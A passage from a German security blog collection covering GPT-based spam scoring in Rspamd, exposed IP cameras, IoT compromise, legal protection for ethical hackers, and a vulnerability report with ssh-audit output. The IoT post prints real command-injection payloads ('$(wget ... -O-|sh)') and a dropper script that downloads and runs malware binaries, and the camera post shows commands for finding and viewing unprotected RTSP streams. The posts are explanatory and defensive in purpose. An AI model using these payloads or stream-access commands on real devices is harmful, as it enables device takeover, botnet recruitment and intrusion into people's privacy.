SUSPICIOUS (4.5) kippt oft in Greylist. SPAM (9.0) bringt fast immer Add-Header, Reject nur zusammen mit weiteren harten Befunden. Klassische Checks (SPF/DKIM/DMARC, RBL, Bayes) bleiben führend, GPT ergänzt nur.

**Tuning**

Zu bissig? Gewicht etwas senken.

Zu lasch? Gewicht erhöhen.

Zu optimistisch bei HAM? Gewicht kleiner machen oder 0 setzen.

Header mit `X-GPT-Reason` liefert Nachvollziehbarkeit, kann bei Bedarf wieder entfernt werden.

**Praxis**

– Symbole erscheinen im WebUI und Logfiles.

– `X-GPT-Reason` erklärt im Header die Bewertung.

– Latenz/Kosten: *gpt-4o-mini* mit 160 Tokens und 10 s Timeout ist performant und günstig.

**Jetzt schauen wir uns mal die Mailheader eines echten Beispiels an und wie GPT dort gegriffen hat:**

```
X-Spamd-Result: default: False [8.59 / 15.00];
        VIOLATED_DIRECT_SPF(3.50)[];
        GPT_SPAM(2.10)[0.85];
        MISSING_MIMEOLE(2.00)[];
        CTYPE_MIXED_BOGUS(1.00)[];
        MID_RHS_NOT_FQDN(0.50)[];
        DMARC_POLICY_ALLOW_WITH_FAILURES(-0.50)[];
        MIME_HTML_ONLY(0.20)[];
        R_DKIM_ALLOW(-0.20)[thejewelbox.dd:s=1759374209.thejewelbox];
        ...

```

**Erklärung:**

- `X-Spamd-Result: [8.59 / 15.00]` – Gesamtscore 8.59, Reject-Schwelle bei 15. Hier also *kein Reject*, sondern nur Add-Header.

- `GPT_SPAM(2.10)[0.85]` – GPT meldet Spam mit 85 % Sicherheit (`[0.85]`). Daraus errechnet Rspamd den Beitrag (`(…)`), der in den Gesamtscore einfließt.

- Die klassischen Checks wie `VIOLATED_DIRECT_SPF(3.50)` oder `MISSING_MIMEOLE(2.00)` haben ebenfalls beigetragen – GPT ist also nur **ein Faktor** im Gesamtbild.

**Zusätzlich schreibt das GPT-Modul auf Wunsch auch eine kurze Begründung in den Mailheader:**

```
X-GPT-Reason: This email is likely spam due to the urgency created around an unpaid invoice and the mismatch between the sender's domain and the company name.
```

**Erklärung:**

- `X-GPT-Reason` – eigener Header, den du in `gpt.conf` mit `reason_header = "X-GPT-Reason"` aktivierst.

- Der Text stammt direkt aus dem Modell und begründet die Einstufung (hier: Dringlichkeit „unpaid invoice“ + Domain/Company-Mismatch).

- Nützlich für Analyse/Transparenz; kann auf MTA/MDA-Ebene wieder entfernt werden, wenn du ihn nicht bis zum Postfach durchreichen willst.

**Ein Hinweis zum Datenschutz (gesamt)**
Mit GPT-Integration gehen Mailinhalte an einen externen Dienst (z. B. OpenAI). Das kann datenschutzrechtlich relevant sein. Wer sensible oder personenbezogene Daten verarbeitet, sollte vorher prüfen, ob die Nutzung zulässig ist – oder alternativ ein selbst gehostetes, OpenAI-kompatibles Modell nutzen (z. B. [Ollama](https://ollama.com/)). Den Reason-Header kannst du, falls nötig, serverseitig wieder entfernen.

---

## 22. IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus​

**Veröffentlicht:** 2025-01-20
**Permalink:** https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/

Die meisten von euch werden das Spiel [GeoGuessr](https://de.wikipedia.org/wiki/GeoGuessr) kennen. Man bekommt ein Google-Street-View-Bild gezeigt, kann sich vielleicht noch ein paar Meter hin- und herbewegen und muss dann auf einer Weltkarte einen Marker setzen, wo man meint, dass dieses Bild aufgenommen wurde. Wer dem Punkt am nächsten kommt, gewinnt.

Eine etwas abgewandelte Version begegnet mir immer mal wieder, wenn ich mich an einem Bug-Bounty-Programm beteilige oder einfach mit offenen Augen durchs Internet spaziere. Damit ist natürlich kein aktives Port-Scanning auf Netzblöcke oder Ähnliches gemeint.

### Worum geht es genau?

In den letzten Jahren verbreiten sich immer mehr billige „China-Kameras“ bei Heimanwendern, aber auch bei Unternehmen. Dagegen spricht erst einmal nichts.

Was leider oft übersehen wird, sind die kleinen automatischen Helferlein, die die Einrichtung und den Betrieb einer solchen Kamera möglichst einfach machen sollen. UPnP (Universal Plug and Play) haben manche vielleicht schon mal im Zusammenhang mit Windows 95 oder USB gehört (ja, ich bin alt …). So etwas gibt es aber auch für Router und Firewalls, also für Netzwerke. Bei einer Fritzbox nennt sich das beispielsweise „Automatische Portfreigabe“.

Der eine oder andere ahnt jetzt sicher schon etwas: Es gibt IP-Kameras, die sich so – vielleicht sogar ohne das Wissen des Betreibers – selbst über das Internet erreichbar machen. Das betrifft nicht selten die komplette Weboberfläche. Mal ist diese kennwortgeschützt, mal nicht.

Sehr oft findet sich auch nur der RTSP-Port (Real Time Streaming Protocol) offen im Internet. Per RTSP werfen solche Kameras oft einen einfachen Videostream aus, der die Anbindung an zentrale Videoüberwachungssysteme erlaubt. Auch RTSP-Streams lassen sich mit einer Anmeldung schützen, was aber scheinbar in der Regel werkseitig deaktiviert ist.

Wenn dieser Port offen ist, könnte man sich einfach per `ffplay` einen solchen Stream anschauen:

```
ffplay rtsp://1.2.3.4/11
```

Wenn man sich nicht sicher ist, wie die korrekte RTSP-URL für die jeweilige IP-Kamera lautet, kann `nmap` zusammen mit dem Script [`rtsp-url-brute` ](https://nmap.org/nsedoc/scripts/rtsp-url-brute.html)helfen:

```
nmap --script rtsp-url-brute -p 554 1.2.3.4
```

### Die rechtliche Lage

Nun kann es natürlich rechtlich schwierig sein, bei einer fremden IP-Adresse nach dem offenen Port 554/TCP zu suchen, dort per `nmap` nach einer nutzbaren RTSP-URL zu scannen und sich den Stream dann live per `ffplay`, `nmap` oder `vlc` anzuschauen. Schließlich hat man nicht das Einverständnis des Betreibers.

[[Bild: Screenshot of shodan search engine, filtering for RTSP Streams.]](https://www.kernel-error.de/wp-content/uploads/2025/01/shodan-example.jpg)

Natürlich hält das wohl weniger Menschen ab, die ohnehin Schlechtes im Sinn haben. Ebenfalls gibt es verschiedene Dienste, die 24/7 nichts anderes tun. Ein Beispiel ist hier vielleicht **[shodan.io](https://www.shodan.io/)** – dort lässt sich direkt nach solchen Vorschaubildern filtern, ohne dass man selbst eine Verbindung zu betroffenen IPs aufnehmen muss.

### Warum ist das alles überhaupt problematisch?

Hat ein Angreifer Böses im Sinn, ist ein Zugriff auf die Überwachungskamera sehr hilfreich. Man kommt so möglicherweise an Insiderinformationen, findet heraus, wo wertvolle Dinge gelagert werden, wann und wie die Öffnungszeiten sind oder sogar mögliche Zugangscodes und Kennwörter. Natürlich auch, welche Kunden sich zu welcher Zeit dort aufhalten usw.

Denkt man an eine Arztpraxis, kann das schnell eine echte Datenschutzkatastrophe werden. Wenn die Kamera im Wohnzimmer oder Schlafzimmer einer Wohnung steht, führt das ebenfalls schnell zu ungewollten Einblicken.

Wenn man einmal außer Acht lässt, dass niemand gerne ohne sein Wissen per Livestream im Internet zu sehen ist, halte ich das Thema Datenschutz für eines der größten Risiken.

In der Vergangenheit sind mir bereits Beispiele begegnet, die das Problem verdeutlichen: Arztpraxen mit Kamerablick von hinten auf die Anmeldung – inklusive direktem Blick auf Patienten, Monitore mit Patientendaten oder Vertragsabschlüsse bei Mobilfunkanbietern. Auch Überwachungskameras in DHL-Filialen, die Bild und Ton in Zoom und 4K aufzeichnen, habe ich gesehen.

Für private Betreiber kann es ebenfalls schnell zu einem Datenschutzproblem werden. Nicht jeder achtet beim eingestellten Bildausschnitt der Kamera darauf, die Vorgaben des Datenschutzes einzuhalten. So werden oft mehr öffentliche Bereiche oder sogar Nachbargrundstücke gefilmt, als zulässig ist.

Wenn diese Daten dann auch noch ohne Schutz und Hürden in die Hände Dritter geraten, wird es heikel. Hier sollte besser jemand mit rechtlichem Hintergrund eine Einschätzung abgeben. Für mich klingt das alles jedenfalls ziemlich unschön.

### Was kann man tun?

Eine Abuse-Mail an den jeweiligen ISP (Internet Service Provider) schicken, mit der Bitte, ihre Kunden zu informieren? Kann man machen. Bei kleineren ISPs klappt das oft sogar, und die Betreiber werden informiert. Spricht man aber über einen großen ISP wie die Telekom, verschwinden einzelne Abuse-Mails gefühlt einfach im Nichts.

Sonst jemanden zu finden, der ein Interesse daran hat, den meist unwissenden Betreiber zu informieren, ist nahezu unmöglich. Weder unsere Behörden noch das BSI interessieren sich dafür. Möchte man also den Betreiber darauf hinweisen, bleibt realistisch nur die Möglichkeit, ihn selbst zu kontaktieren.

### GeoGuessr in der Praxis

Jetzt sind wir beim Thema GeoGuessr: Man hat also nur das Bild der Kamera, die IP-Adresse mit einer recht groben und nicht immer stimmigen Geolokalisierung und vielleicht noch ein paar weitere Rahmeninfos oder Dienste auf dieser IP-Adresse. Hin und wieder macht es mir daher sogar Spaß, den eigentlichen Betreiber ausfindig zu machen und ihm per E-Mail oder telefonisch kurz auf diesen möglichen Missstand hinzuweisen.

Wenn du das also gerade liest, weil ich dich darauf hingewiesen habe, weißt du jetzt, warum 😀

Natürlich trifft man oft auf Unverständnis – oder das klassisch deutsche „Anzeige ist raus!“ begegnet einem immer mal wieder. Es bietet also auch eine gute Möglichkeit, die eigenen Kommunikationsskills zu erweitern.

---

## 23. IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

**Veröffentlicht:** 2025-11-17
**Permalink:** https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/

Vielleicht erinnert ihr euch an meine Aussage, [dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür](https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/). In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

[Bild: Image of IoT Camera and IT Security]

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine [Überwachungskamera](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/), ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

## IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

## „Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das *Gerät selbst*.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

- als Teil eines Botnetzes

- zum Verteilen von Malware

- für DDoS-Angriffe

- zum Minen von Kryptowährungen

- oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

## Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

[[Bild: Screenshot of an compromised asus cctv ip camera iot]](https://www.kernel-error.de/wp-content/uploads/2025/11/compromised-asus-cctv-iot-ip-camera.png)

Ein Klassiker: *nicht korrekt geprüfte Eingabefelder*.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

```
ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'
```

oder

```
$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
```

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende **kitty** Paket sein:

```
Benutzername: meow
Kennwort: meow
```

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

```
wget http://1.2.3.4/vivo -O- | sh
```

- wget lädt eine Datei herunter

- -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird

- das Pipe-Symbol | übergibt den Inhalt an die Shell sh

- die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

```
cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64
```

Und ja: Das existiert genauso in freier Wildbahn.

## Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

- Wurde vielleicht eine manipulierte Firmware eingespielt?

- Wurde der Bootloader verändert?

- Wird nach jedem Neustart automatisch eine Backdoor geöffnet?

- Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: **Nein**.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

- WLAN-Passwörter

- NAS-Zugangsdaten

- SMTP-Accounts

- API-Tokens

- Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

## Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

- IoT immer in ein eigenes, getrenntes Netz.

- Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.

- Regelmäßig patchen, prüfen, auditieren.

- Standardpasswörter sofort ändern.

- Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

---

## 24. BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker

**Veröffentlicht:** 2025-11-07
**Permalink:** https://www.kernel-error.de/2025/11/07/bsi-will-straffreiheit-mehr-rechtssicherheit-fuer-ethische-hacker/

[Bild: free ethical hackers]

Wir leben in Deutschland ja ein bisschen im „*Anzeige-ist-raus*“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.

[[Bild: Picture of an useless gate.]](https://www.kernel-error.de/wp-content/uploads/2025/11/useless-gate.png)

Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.

Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.

Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: [BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker](https://www.heise.de/news/Hackerparagraf-BSI-Chefin-fordert-Sicherheitsforscher-Entkriminalisierung-11044176.html) – sinngemäß: „[Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.](https://gruen-digital.de/2025/11/34522/)“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.

**Zur Einordnung, worum es geht:**

*Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.*

Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.

Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
[https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html](https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html?utm_source=chatgpt.com)

Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.

Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine [security.txt](https://de.wikipedia.org/wiki/Security.txt). Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.

Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.

**Bedankt euch einfach.** 🙂

---

## 25. Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report​

**Veröffentlicht:** 2025-02-17
**Permalink:** https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/

[Bild: Vulnerability Report]

Vor Kurzem habe ich einen [Vulnerability Report](https://www.bsi.bund.de/EN/IT-Sicherheitsvorfall/IT-Schwachstellen/it-schwachstellen.html) erhalten. Ich freue mich natürlich immer über solche Hinweise – sie helfen mir, zu wachsen und mein Setup zu verbessern, bevor jemand eine Schwachstelle tatsächlich ausnutzt.

Der Report lautet wie folgt:

```
Subject: Vulnerability Report: Vulnerable System Detected at openpgpkey.kernel-error.comHello Team,I have identified a security issue in your system related to a vulnerability (CVE-2023-48795) in Terrapin.Vulnerability Details:- CVE Identifier: CVE-2023-48795- Vulnerability Type: javascript- Severity: medium- Host: openpgpkey.kernel-error.com- Affected Port: 22Description: A security vulnerability (CVE-2023-48795) related to Terrapin has been detected in your system. This vulnerability could be exploited to compromise your system's security. Please see the details below for more information.Impact: Impact:1. Potential for Unauthorized Access: Attackers may exploit this vulnerability to gain unauthorized access.2. System Compromise: Vulnerable systems could be compromised, leading to data loss or further attacks.3. Increased Attack Surface: Exposing systems with this vulnerability increases the risk of exploitation.Recommendation: Recommendation:1. Apply patches for CVE-2023-48795: Ensure your systems are updated to address this vulnerability.2. Conduct a Security Review: Regularly review and update your security policies and procedures.3. Monitor for Suspicious Activity: Implement continuous monitoring to detect any potential exploitation attempts.4. Restrict Access: Limit access to systems vulnerable to exploitation.Best Regards,Security Team
```

Ich war mir eigentlich sicher, dass ich Terrapin schon vor langer Zeit überall gepatcht und in den SSH-Konfigurationen berücksichtigt hatte.

Dann kam der Hinweis auf `openpgpkey.kernel-error.com`. Die Domain existiert als CNAME und gehört zur Web Key Directory (WKD), was im Groben dazu dient, öffentliche GPG-Keys möglichst automatisiert abrufen zu können. Wenn mir also jemand eine Mail schreiben möchte, aber meinen öffentlichen Key nicht hat, kann er diesen einfach über WKD beziehen. Ich habe das Ganze als CNAME zu `wkd.keys.openpgp.org` angelegt, weil dieser Keyserver zumindest eine E-Mail-Validierung beim Hochladen öffentlicher Schlüssel durchführt. Ich muss ja nicht jede Infrastruktur selbst betreiben.

Allerdings gehört der betroffene SSH-Server und das gesamte Zielsystem somit gar nicht zu meiner Infrastruktur – ich kann also selbst nichts tun.

**Vulnerability Type: JavaScript**

Das verstehe ich nicht ganz. Vermutlich hat der Finder einfach sein Standard-Template benutzt und nicht angepasst?! Aber zumindest wollte ich prüfen, ob seine Einschätzung zum SSH-Server überhaupt zutrifft:

```
# general
(gen) banner: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
(gen) software: OpenSSH 8.4p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)

# security
(cve) CVE-2021-41617                        -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2016-20012                        -- (CVSSv2: 5.3) enumerate usernames via challenge response

# key exchange algorithms
(kex) curve25519-sha256                     -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76
                                            `- [info] default key exchange since OpenSSH 6.4
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.4, Dropbear SSH 2013.62
                                            `- [info] default key exchange since OpenSSH 6.4
(kex) ecdh-sha2-nistp256                    -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 (3072-bit) -- [info] available since OpenSSH 4.4
                                                      `- [info] OpenSSH's GEX fallback mechanism was triggered during testing. Very old SSH clients will still be able to create connections using a 2048-bit modulus, though modern clients will use 3072. This can only be disabled by recompiling the code (see https://github.com/openssh/openssh-portable/blob/V_9_4/dh.c#L477).
(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256         -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) kex-strict-s-v00@openssh.com          -- [info] pseudo-algorithm that denotes the peer supports a stricter key exchange method as a counter-measure to the Terrapin attack (CVE-2023-48795)

# host-key algorithms
(key) rsa-sha2-512 (2048-bit)               -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 (2048-bit)               -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 7.2
(key) ssh-rsa (2048-bit)                    -- [fail] using broken SHA-1 hash algorithm
                                            `- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
                                            `- [info] deprecated in OpenSSH 8.8: https://www.openssh.com/txt/release-8.8
(key) ecdsa-sha2-nistp256                   -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5

# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes128-gcm@openssh.com                -- [info] available since OpenSSH 6.2
(enc) aes256-gcm@openssh.com                -- [info] available since OpenSSH 6.2

# message authentication code algorithms
(mac) umac-64-etm@openssh.com               -- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 6.2
(mac) umac-128-etm@openssh.com              -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha1-etm@openssh.com             -- [fail] using broken SHA-1 hash algorithm
                                            `- [info] available since OpenSSH 6.2
(mac) umac-64@openssh.com                   -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 4.7
(mac) umac-128@openssh.com                  -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [fail] using broken SHA-1 hash algorithm
                                            `- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# fingerprints
(fin) ssh-ed25519: SHA256:vwCCSg+OuRwAflHQs/+Y22UJ7p2lM57vbukGFt5AAaY
(fin) ssh-rsa: SHA256:o+WUM9bAmH2G5xMAsJfZRsmh8hvMoU4dx9gdmahLM+M

# algorithm recommendations (for OpenSSH 8.4)
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
(rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove 
(rec) -hmac-sha1                            -- mac algorithm to remove 
(rec) -hmac-sha1-etm@openssh.com            -- mac algorithm to remove 
(rec) -ssh-rsa                              -- key algorithm to remove 
(rec) !rsa-sha2-256                         -- key algorithm to change (increase modulus size to 3072 bits or larger) 
(rec) !rsa-sha2-512                         -- key algorithm to change (increase modulus size to 3072 bits or larger) 
(rec) -diffie-hellman-group14-sha256        -- kex algorithm to remove 
(rec) -hmac-sha2-256                        -- mac algorithm to remove 
(rec) -hmac-sha2-512                        -- mac algorithm to remove 
(rec) -umac-128@openssh.com                 -- mac algorithm to remove 
(rec) -umac-64-etm@openssh.com              -- mac algorithm to remove 
(rec) -umac-64@openssh.com                  -- mac algorithm to remove 

# additional info
(nfo) For hardening guides on common OSes, please see: 
